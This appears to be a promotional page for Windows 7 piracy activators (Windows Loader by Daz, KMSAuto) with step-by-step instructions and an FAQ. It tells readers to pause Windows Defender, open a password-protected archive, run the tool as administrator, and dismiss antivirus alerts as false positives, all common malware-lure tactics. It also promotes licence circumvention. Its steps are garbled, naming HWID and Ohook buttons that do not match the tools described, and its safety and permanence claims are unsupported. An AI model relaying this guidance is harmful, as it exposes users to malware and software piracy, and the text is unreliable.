Activate Windows 7 Professional, Ultimate and Enterprise permanently in 2026. Windows Loader by Daz for OEM SLIC, KMSAuto for KMS.
WYqejXiqBi97Windows 7 reached end-of-life in 2020 but is still installed on millions of machines. The two reliable activation paths are Windows Loader by Daz (SLIC OEM emulation) or KMSAuto Net in KMS mode.
Which method?
Windows Loader gives a permanent OEM-style activation but only works on Windows 7. KMSAuto KMS gives a 180-day lease with auto-renewal.
Activation steps
Both tools follow the same broad workflow.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the HWID (Windows) or Ohook (Office) green button
- Wait for 'Successfully activated' and reboot your PC
Frequently asked questions
▸Is OfficialKMSAuto free to use?
Yes. OfficialKMSAuto is 100% free, open source and ad-free. There are no premium tiers and no surveys to complete.
▸Is the activator safe?
Yes. The build is SHA-256 verified and scanned on VirusTotal. Antivirus engines flag every KMS activator generically as HackTool because it touches Windows licensing — that is a false positive, not malware.
▸Do I need an internet connection?
HWID and Online KMS need a short internet connection to receive the digital license. Ohook works fully offline. After activation you can disconnect — the license is stored on the machine.
▸Will activation survive Windows updates?
Yes. HWID and Ohook produce permanent licenses that survive feature updates and even fresh reinstalls when the same hardware is detected.
▸What is the archive password?
The official archive password is WYqejXiqBi97. You can copy it from the download button on this page.
